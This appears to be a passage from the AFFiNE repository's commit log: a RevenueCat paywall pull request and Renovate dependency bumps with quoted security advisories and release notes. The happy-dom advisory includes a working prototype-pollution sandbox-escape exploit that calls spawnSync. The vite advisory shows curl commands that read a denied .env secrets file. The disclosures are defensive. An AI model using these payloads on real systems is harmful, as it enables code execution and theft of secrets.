This pull request integrates RevenueCat into the iOS paywall system,
enabling user authentication and subscription management through the
RevenueCat SDK. It introduces new dependencies, updates the paywall
plugin initialization, and adds logic to fetch and use the current user
identifier from the web context for RevenueCat login. The most important
changes are grouped below:

**RevenueCat Integration and Configuration:**

* Added `purchases-ios-spm` (RevenueCat) as a Swift Package dependency
in `AffinePaywall` and updated `Package.resolved` to track the new
dependency.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Package.swift`,
`packages/frontend/apps/ios/App/App.xcworkspace/xcshareddata/swiftpm/Package.resolved`)
[[1]](diffhunk://#diff-7716c691e65a220dad542e024fbf91547c45ea69ddff1d0b6a002a497cd7c8ecR20-R28)
[[2]](diffhunk://#diff-63609de9bdfc08b8a0691a4f0ddb7ddff07ae76b40ec2ee7c12adb7db226eb3cR48-R56)
* Implemented `Paywall.setup()` for initializing RevenueCat
configuration, including setting log level, proxy URL, and a static API
key.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Sources/AffinePaywall/Paywall.swift`,
`packages/frontend/apps/ios/App/Plugins/PayWall/PayWallPlugin.swift`)
[[1]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR8-R30)
[[2]](diffhunk://#diff-1854d318d8fd8736d078f5960373ed440836263649a8193c8ee33e72a99424edR14)

**User Authentication and Subscription State:**

* Enhanced the paywall ViewModel logic to fetch the current user
identifier from the web context (`window.getCurrentUserIdentifier`),
configure RevenueCat, and log in the user before fetching subscription
state. Improved error handling and ensured external entitlement fetching
is robust.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Sources/AffinePaywall/Model/ViewModel+Action.swift`)
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR9)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL120-R155)
[[3]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR165)
* Added a global JavaScript function `getCurrentUserIdentifier` to the
iOS web context to retrieve the current user's account ID for use in
RevenueCat login. (`packages/frontend/apps/ios/src/app.tsx`)

**Project Metadata:**

* Downgraded the `objectVersion` in the Xcode project file, possibly to
maintain compatibility with other tools or environments.
(`packages/frontend/apps/ios/App/App.xcodeproj/project.pbxproj`)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Paywall now initializes automatically for a smoother subscription
flow.
* New global API to retrieve the current user identifier from the app
context.

* **Improvements**
* Added integration to better coordinate subscription/login state before
showing paywall options.
* Ensures user identity is validated prior to entitlement checks,
improving accuracy.
  * Improved error messages and logging during purchase/login flows.

* **Bug Fixes**
* Fixed intermittent issues where subscription status could fail to load
or appear outdated.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:15:29 +00:00
renovate[bot]
a47042cbd5 chore: bump up happy-dom version to v20.0.2 [SECURITY] (#13765)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`20.0.0` ->
`20.0.2`](https://renovatebot.com/diffs/npm/happy-dom/20.0.0/20.0.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/20.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.0.0/20.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-62410](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5)

### Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling
eval/Function when executing untrusted code in happy-dom does not
suffice, since it still allows prototype pollution payloads.

### Details
The untrusted script and the rest of the application still run in the
same Isolate/process, so attackers can deploy prototype pollution
payloads to hijack important references like "process" in the example
below, or to hijack control flow via flipping checks of undefined
property. There might be other payloads that allow the manipulation of
require, e.g., via (univeral) gadgets
(https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

### PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to
obtain important references at runtime, e.g., "process". In this way,
attackers might be able to execute arbitrary commands like in the
example below via spawn().

```js
import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
```

### Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.

### Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against
attacks similar to the PoC above. However, the untrusted code might
still be able to retrieve all kind of information available in the
global scope and exfiltrate them via fetch(), even without prototype
pollution capabilities. Not to mention side channels caused by the
shared process/isolate. Migration to
[isolated-vm](https://redirect.github.com/laverdet/isolated-vm) is
suggested instead.

Cris from the Endor Labs Security Research Team, who has worked
extensively on JavaScript sandboxing in the past, submitted this
advisory.

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v20.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.1...v20.0.2)

##### :construction\_worker\_man: Patch fixes

- Adds frozen intrinsics flag to workers in `@happy-dom/server-renderer`
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1934](https://redirect.github.com/capricorn86/happy-dom/issues/1934)

###
[`v20.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.0...v20.0.1)

##### :construction\_worker\_man: Patch fixes

- Adds warning for environment with unfrozen intrinsics (builtins) when
JavaScript evaluation is enabled- By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1932](https://redirect.github.com/capricorn86/happy-dom/issues/1932)
- A security advisory has been reported showing that the recommended
preventive measure of running Node.js with
`--disallow-code-generation-from-strings` wasn't enough to protect
against attackers escaping the VM context and accessing process-level
functions. Big thanks to
[@&#8203;cristianstaicu](https://redirect.github.com/cristianstaicu) for
reporting this!
- The documentation for how to run Happy DOM with JavaScript evaluation
enabled in a safer way has been updated. Read more about it in the
[Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/JavaScript-Evaluation-Warning)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE1Ni4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 16:13:36 +00:00
renovate[bot]
2c44d3abc6 chore: bump up vite version to v7 [SECURITY] (#13786)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`^6.1.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/vite/6.3.6/7.1.11) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.6/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`^6.0.3` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/vite/6.3.6/7.1.11) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.6/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-62522](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7)

### Summary
Files denied by
[`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny)
were sent if the URL ended with `\` when the dev server is running on
Windows.

### Impact
Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- running the dev server on Windows

### Details
`server.fs.deny` can contain patterns matching against files (by default
it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These
patterns were able to bypass by using a back slash(`\`). The root cause
is that `fs.readFile('/foo.png/')` loads `/foo.png`.

### PoC
```shell
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
```
<img width="1593" height="616" alt="image"
src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175"
/>

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v7.1.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7111-2025-10-20-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.10...v7.1.11)

##### Bug Fixes

- **dev:** trim trailing slash before `server.fs.deny` check
([#&#8203;20968](https://redirect.github.com/vitejs/vite/issues/20968))
([f479cc5](f479cc57c4))

##### Miscellaneous Chores

- **deps:** update all non-major dependencies
([#&#8203;20966](https://redirect.github.com/vitejs/vite/issues/20966))
([6fb41a2](6fb41a260b))

##### Code Refactoring

- use subpath imports for types module reference
([#&#8203;20921](https://redirect.github.com/vitejs/vite/issues/20921))
([d0094af](d0094af639))

##### Build System

- remove cjs reference in files field
([#&#8203;20945](https://redirect.github.com/vitejs/vite/issues/20945))
([ef411ce](ef411cee26))
- remove hash from built filenames
([#&#8203;20946](https://redirect.github.com/vitejs/vite/issues/20946))
([a817307](a81730754d))

###
[`v7.1.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7110-2025-10-14-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.9...v7.1.10)

##### Bug Fixes

- **css:** avoid duplicate style for server rendered stylesheet link and
client inline style during dev
([#&#8203;20767](https://redirect.github.com/vitejs/vite/issues/20767))
([3a92bc7](3a92bc79b3))
- **css:** respect emitAssets when cssCodeSplit=false
([#&#8203;20883](https://redirect.github.com/vitejs/vite/issues/20883))
([d3e7eee](d3e7eeefa9))
- **deps:** update all non-major dependencies
([879de86](879de86935))
- **deps:** update all non-major dependencies
([#&#8203;20894](https://redirect.github.com/vitejs/vite/issues/20894))
([3213f90](3213f90ff0))
- **dev:** allow aliases starting with `//`
([#&#8203;20760](https://redirect.github.com/vitejs/vite/issues/20760))
([b95fa2a](b95fa2aa75))
- **dev:** remove timestamp query consistently
([#&#8203;20887](https://redirect.github.com/vitejs/vite/issues/20887))
([6537d15](6537d15591))
- **esbuild:** inject esbuild helpers correctly for esbuild 0.25.9+
([#&#8203;20906](https://redirect.github.com/vitejs/vite/issues/20906))
([446eb38](446eb38632))
- normalize path before calling `fileToBuiltUrl`
([#&#8203;20898](https://redirect.github.com/vitejs/vite/issues/20898))
([73b6d24](73b6d243e0))
- preserve original sourcemap file field when combining sourcemaps
([#&#8203;20926](https://redirect.github.com/vitejs/vite/issues/20926))
([c714776](c714776aa1))

##### Documentation

- correct `WebSocket` spelling
([#&#8203;20890](https://redirect.github.com/vitejs/vite/issues/20890))
([29e98dc](29e98dc3ef))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20923](https://redirect.github.com/vitejs/vite/issues/20923))
([a5e3b06](a5e3b064fa))

###
[`v7.1.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-719-2025-10-03-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.8...v7.1.9)

##### Reverts

- **server:** drain stdin when not interactive
([#&#8203;20885](https://redirect.github.com/vitejs/vite/issues/20885))
([12d72b0](12d72b0538))

###
[`v7.1.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-718-2025-10-02-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.7...v7.1.8)

##### Bug Fixes

- **css:** improve url escape characters handling
([#&#8203;20847](https://redirect.github.com/vitejs/vite/issues/20847))
([24a61a3](24a61a3f54))
- **deps:** update all non-major dependencies
([#&#8203;20855](https://redirect.github.com/vitejs/vite/issues/20855))
([788a183](788a183afc))
- **deps:** update artichokie to 0.4.2
([#&#8203;20864](https://redirect.github.com/vitejs/vite/issues/20864))
([e670799](e670799e12))
- **dev:** skip JS responses for document requests
([#&#8203;20866](https://redirect.github.com/vitejs/vite/issues/20866))
([6bc6c4d](6bc6c4dbc2))
- **glob:** fix HMR for array patterns with exclusions
([#&#8203;20872](https://redirect.github.com/vitejs/vite/issues/20872))
([63e040f](63e040f1ca))
- keep ids for virtual modules as-is
([#&#8203;20808](https://redirect.github.com/vitejs/vite/issues/20808))
([d4eca98](d4eca986d6))
- **server:** drain stdin when not interactive
([#&#8203;20837](https://redirect.github.com/vitejs/vite/issues/20837))
([bb950e9](bb950e92b3))
- **server:** improve malformed URL handling in middlewares
([#&#8203;20830](https://redirect.github.com/vitejs/vite/issues/20830))
([d65a983](d65a9831c9))

##### Documentation

- **create-vite:** provide deno example
([#&#8203;20747](https://redirect.github.com/vitejs/vite/issues/20747))
([fdb758a](fdb758a517))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20810](https://redirect.github.com/vitejs/vite/issues/20810))
([ea68a88](ea68a8868c))
- **deps:** update rolldown-related dependencies
([#&#8203;20854](https://redirect.github.com/vitejs/vite/issues/20854))
([4dd06fd](4dd06fdc8d))
- update url of `create-react-app` license
([#&#8203;20865](https://redirect.github.com/vitejs/vite/issues/20865))
([166a178](166a178f45))

###
[`v7.1.7`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-717-2025-09-22-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.6...v7.1.7)

##### Bug Fixes

- **build:** fix ssr environment `emitAssets: true` when
`sharedConfigBuild: true`
([#&#8203;20787](https://redirect.github.com/vitejs/vite/issues/20787))
([4c4583c](4c4583ce7a))
- **client:** use CSP nonce when rendering error overlay
([#&#8203;20791](https://redirect.github.com/vitejs/vite/issues/20791))
([9bc9d12](9bc9d1258f))
- **deps:** update all non-major dependencies
([#&#8203;20811](https://redirect.github.com/vitejs/vite/issues/20811))
([9f2247c](9f2247c066))
- **glob:** handle glob imports from folders starting with dot
([#&#8203;20800](https://redirect.github.com/vitejs/vite/issues/20800))
([105abe8](105abe87c4))
- **hmr:** trigger prune event when import is removed from non hmr
module
([#&#8203;20768](https://redirect.github.com/vitejs/vite/issues/20768))
([9f32b1d](9f32b1dc71))
- **hmr:** wait for `import.meta.hot.prune` callbacks to complete before
running other HMRs
([#&#8203;20698](https://redirect.github.com/vitejs/vite/issues/20698))
([98a3484](98a3484733))

###
[`v7.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-716-2025-09-18-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.5...v7.1.6)

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20773](https://redirect.github.com/vitejs/vite/issues/20773))
([88af2ae](88af2ae7df))
- **esbuild:** inject esbuild helper functions with minified `$`
variables correctly
([#&#8203;20761](https://redirect.github.com/vitejs/vite/issues/20761))
([7e8e004](7e8e0043d6))
- fallback terser to main thread when nameCache is provided
([#&#8203;20750](https://redirect.github.com/vitejs/vite/issues/20750))
([a679a64](a679a64340))
- **types:** strict env typings fail when `skipLibCheck` is `false`
([#&#8203;20755](https://redirect.github.com/vitejs/vite/issues/20755))
([cc54e29](cc54e29474))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20675](https://redirect.github.com/vitejs/vite/issues/20675))
([a67bb5f](a67bb5fbec))
- **deps:** update rolldown-related dependencies
([#&#8203;20772](https://redirect.github.com/vitejs/vite/issues/20772))
([d785e72](d785e72f2e))

###
[`v7.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-715-2025-09-08-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.4...v7.1.5)

##### Bug Fixes

- apply `fs.strict` check to HTML files
([#&#8203;20736](https://redirect.github.com/vitejs/vite/issues/20736))
([14015d7](14015d794f))
- **deps:** update all non-major dependencies
([#&#8203;20732](https://redirect.github.com/vitejs/vite/issues/20732))
([122bfba](122bfbabeb))
- upgrade sirv to 3.0.2
([#&#8203;20735](https://redirect.github.com/vitejs/vite/issues/20735))
([09f2b52](09f2b52e8d))

###
[`v7.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-714-2025-09-01-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.3...v7.1.4)

##### Bug Fixes

- add missing awaits
([#&#8203;20697](https://redirect.github.com/vitejs/vite/issues/20697))
([79d10ed](79d10ed634))
- **deps:** update all non-major dependencies
([#&#8203;20676](https://redirect.github.com/vitejs/vite/issues/20676))
([5a274b2](5a274b29df))
- **deps:** update all non-major dependencies
([#&#8203;20709](https://redirect.github.com/vitejs/vite/issues/20709))
([0401feb](0401feba17))
- pass rollup watch options when building in watch mode
([#&#8203;20674](https://redirect.github.com/vitejs/vite/issues/20674))
([f367453](f367453ca2))

##### Miscellaneous Chores

- remove unused constants entry from rolldown.config.ts
([#&#8203;20710](https://redirect.github.com/vitejs/vite/issues/20710))
([537fcf9](537fcf9186))

##### Code Refactoring

- remove unnecessary `minify` parameter from `finalizeCss`
([#&#8203;20701](https://redirect.github.com/vitejs/vite/issues/20701))
([8099582](8099582e53))

###
[`v7.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-713-2025-08-19-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.2...v7.1.3)

##### Features

- **cli:** add Node.js version warning for unsupported versions
([#&#8203;20638](https://redirect.github.com/vitejs/vite/issues/20638))
([a1be1bf](a1be1bf090))
- generate code frame for parse errors thrown by terser
([#&#8203;20642](https://redirect.github.com/vitejs/vite/issues/20642))
([a9ba017](a9ba0174a5))
- support long lines in `generateCodeFrame`
([#&#8203;20640](https://redirect.github.com/vitejs/vite/issues/20640))
([1559577](1559577317))

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20634](https://redirect.github.com/vitejs/vite/issues/20634))
([4851cab](4851cab3ba))
- **optimizer:** incorrect incompatible error
([#&#8203;20439](https://redirect.github.com/vitejs/vite/issues/20439))
([446fe83](446fe83033))
- support multiline new URL(..., import.meta.url) expressions
([#&#8203;20644](https://redirect.github.com/vitejs/vite/issues/20644))
([9ccf142](9ccf142764))

##### Performance Improvements

- **cli:** dynamically import `resolveConfig`
([#&#8203;20646](https://redirect.github.com/vitejs/vite/issues/20646))
([f691f57](f691f57e46))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20633](https://redirect.github.com/vitejs/vite/issues/20633))
([98b92e8](98b92e8c4b))

##### Code Refactoring

- replace startsWith with strict equality
([#&#8203;20603](https://redirect.github.com/vitejs/vite/issues/20603))
([42816de](42816dee0e))
- use `import` in worker threads
([#&#8203;20641](https://redirect.github.com/vitejs/vite/issues/20641))
([530687a](530687a344))

##### Tests

- remove `checkNodeVersion` test
([#&#8203;20647](https://redirect.github.com/vitejs/vite/issues/20647))
([731d3e6](731d3e61f4))

###
[`v7.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-712-2025-08-12-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.1...v7.1.2)

##### Bug Fixes

- **client:** add `[vite]` prefixes to debug logs
([#&#8203;20595](https://redirect.github.com/vitejs/vite/issues/20595))
([7cdef61](7cdef612a6))
- **config:** make debugger work with bundle loader
([#&#8203;20573](https://redirect.github.com/vitejs/vite/issues/20573))
([c583927](c583927bee))
- **deps:** update all non-major dependencies
([#&#8203;20587](https://redirect.github.com/vitejs/vite/issues/20587))
([20d4817](20d48172a0))
- don't consider ids with `npm:` prefix as a built-in module
([#&#8203;20558](https://redirect.github.com/vitejs/vite/issues/20558))
([ab33803](ab33803f2c))
- **hmr:** watch non-inlined assets referenced by CSS
([#&#8203;20581](https://redirect.github.com/vitejs/vite/issues/20581))
([b7d494b](b7d494bf60))
- **module-runner:** prevent crash when sourceMappingURL pattern appears
in string literals
([#&#8203;20554](https://redirect.github.com/vitejs/vite/issues/20554))
([2770478](2770478d1c))

##### Miscellaneous Chores

- **deps:** migrate to `@jridgewell/remapping` from
`@ampproject/remapping`
([#&#8203;20577](https://redirect.github.com/vitejs/vite/issues/20577))
([0a6048a](0a6048aba4))
- **deps:** update rolldown-related dependencies
([#&#8203;20586](https://redirect.github.com/vitejs/vite/issues/20586))
([77632c5](77632c55db))

###
[`v7.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7111-2025-10-20-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.0...v7.1.1)

##### Bug Fixes

- **dev:** trim trailing slash before `server.fs.deny` check
([#&#8203;20968](https://redirect.github.com/vitejs/vite/issues/20968))
([f479cc5](f479cc57c4))

##### Miscellaneous Chores

- **deps:** update all non-major dependencies
([#&#8203;20966](https://redirect.github.com/vitejs/vite/issues/20966))
([6fb41a2](6fb41a260b))

##### Code Refactoring

- use subpath imports for types module reference
([#&#8203;20921](https://redirect.github.com/vitejs/vite/issues/20921))
([d0094af](d0094af639))

##### Build System

- remove cjs reference in files field
([#&#8203;20945](https://redirect.github.com/vitejs/vite/issues/20945))
([ef411ce](ef411cee26))
- remove hash from built filenames
([#&#8203;20946](https://redirect.github.com/vitejs/vite/issues/20946))
([a817307](a81730754d))

###
[`v7.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#710-2025-08-07)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.8...v7.1.0)

##### Features

- support files with more than 1000 lines by `generateCodeFrame`
([#&#8203;20508](https://redirect.github.com/vitejs/vite/issues/20508))
([e7d0b2a](e7d0b2afa5))
- add `import.meta.main` support in config (bundle config loader)
([#&#8203;20516](https://redirect.github.com/vitejs/vite/issues/20516))
([5d3e3c2](5d3e3c2ae5))
- **optimizer:** improve dependency optimization error messages with
esbuild formatMessages
([#&#8203;20525](https://redirect.github.com/vitejs/vite/issues/20525))
([d17cfed](d17cfeda07))
- **ssr:** add `import.meta.main` support for Node.js module runner
([#&#8203;20517](https://redirect.github.com/vitejs/vite/issues/20517))
([794a8f2](794a8f2302))
- add `future: 'warn'`
([#&#8203;20473](https://redirect.github.com/vitejs/vite/issues/20473))
([e6aaf17](e6aaf17ca2))
- add `removeServerPluginContainer` future deprecation
([#&#8203;20437](https://redirect.github.com/vitejs/vite/issues/20437))
([c1279e7](c1279e7540))
- add `removeServerReloadModule` future deprecation
([#&#8203;20436](https://redirect.github.com/vitejs/vite/issues/20436))
([6970d17](6970d1740c))
- add `server.warmupRequest` to future deprecation
([#&#8203;20431](https://redirect.github.com/vitejs/vite/issues/20431))
([8ad388a](8ad388aeab))
- add `ssrFixStacktrace` / `ssrRewriteStacktrace` to
`removeSsrLoadModule` future deprecation
([#&#8203;20435](https://redirect.github.com/vitejs/vite/issues/20435))
([8c8f587](8c8f5879ea))
- **client:** ping from SharedWorker
([#&#8203;19057](https://redirect.github.com/vitejs/vite/issues/19057))
([5c97c22](5c97c22548))
- **dev:** add `this.fs` support
([#&#8203;20301](https://redirect.github.com/vitejs/vite/issues/20301))
([0fe3f2f](0fe3f2f7c3))
- export `defaultExternalConditions`
([#&#8203;20279](https://redirect.github.com/vitejs/vite/issues/20279))
([344d302](344d30243b))
- implement `removePluginHookSsrArgument` future deprecation
([#&#8203;20433](https://redirect.github.com/vitejs/vite/issues/20433))
([95927d9](95927d9c0b))
- implement `removeServerHot` future deprecation
([#&#8203;20434](https://redirect.github.com/vitejs/vite/issues/20434))
([259f45d](259f45d069))
- resolve server URLs before calling other listeners
([#&#8203;19981](https://redirect.github.com/vitejs/vite/issues/19981))
([45f6443](45f6443a93))
- **ssr:** resolve externalized packages with
`resolve.externalConditions` and add `module-sync` to default external
condition
([#&#8203;20409](https://redirect.github.com/vitejs/vite/issues/20409))
([c669c52](c669c524e6))
- **ssr:** support `import.meta.resolve` in module runner
([#&#8203;20260](https://redirect.github.com/vitejs/vite/issues/20260))
([62835f7](62835f7c06))

##### Bug Fixes

- **css:** avoid warnings for `image-set` containing `__VITE_ASSET__`
([#&#8203;20520](https://redirect.github.com/vitejs/vite/issues/20520))
([f1a2635](f1a2635e69))
- **css:** empty CSS entry points should generate CSS files, not JS
files
([#&#8203;20518](https://redirect.github.com/vitejs/vite/issues/20518))
([bac9f3e](bac9f3ecf8))
- **dev:** denied request stalled when requested concurrently
([#&#8203;20503](https://redirect.github.com/vitejs/vite/issues/20503))
([64a52e7](64a52e70d9))
- **manifest:** initialize `entryCssAssetFileNames` as an empty Set
([#&#8203;20542](https://redirect.github.com/vitejs/vite/issues/20542))
([6a46cda](6a46cdac5d))
- skip prepareOutDirPlugin in workers
([#&#8203;20556](https://redirect.github.com/vitejs/vite/issues/20556))
([97d5111](97d5111645))
- **asset:** only watch existing files for `new URL(, import.meta.url)`
([#&#8203;20507](https://redirect.github.com/vitejs/vite/issues/20507))
([1b211fd](1b211fd1be))
- **client:** keep ping on WS constructor error
([#&#8203;20512](https://redirect.github.com/vitejs/vite/issues/20512))
([3676da5](3676da5bc5))
- **deps:** update all non-major dependencies
([#&#8203;20537](https://redirect.github.com/vitejs/vite/issues/20537))
([fc9a9d3](fc9a9d3f14))
- don't resolve as relative for specifiers starting with a dot
([#&#8203;20528](https://redirect.github.com/vitejs/vite/issues/20528))
([c5a10ec](c5a10ec004))
- **html:** allow control character in input stream
([#&#8203;20483](https://redirect.github.com/vitejs/vite/issues/20483))
([c12a4a7](c12a4a76a2))
- merge old and new `noExternal: true` correctly
([#&#8203;20502](https://redirect.github.com/vitejs/vite/issues/20502))
([9ebe4a5](9ebe4a514a))
- **deps:** update all non-major dependencies
([#&#8203;20489](https://redirect.github.com/vitejs/vite/issues/20489))
([f6aa04a](f6aa04a52d))
- **dev:** denied requests overly
([#&#8203;20410](https://redirect.github.com/vitejs/vite/issues/20410))
([4be5270](4be5270b27))
- **hmr:** register css deps as `type: asset`
([#&#8203;20391](https://redirect.github.com/vitejs/vite/issues/20391))
([7eac8dd](7eac8ddb65))
- **optimizer:** discover correct jsx runtime during scan
([#&#8203;20495](https://redirect.github.com/vitejs/vite/issues/20495))
([10d48bb](10d48bb2e3))
- **preview:** set correct host for `resolvedUrls`
([#&#8203;20496](https://redirect.github.com/vitejs/vite/issues/20496))
([62b3e0d](62b3e0d95c))
- **worker:** resolve WebKit compat with inline workers by deferring
blob URL revocation
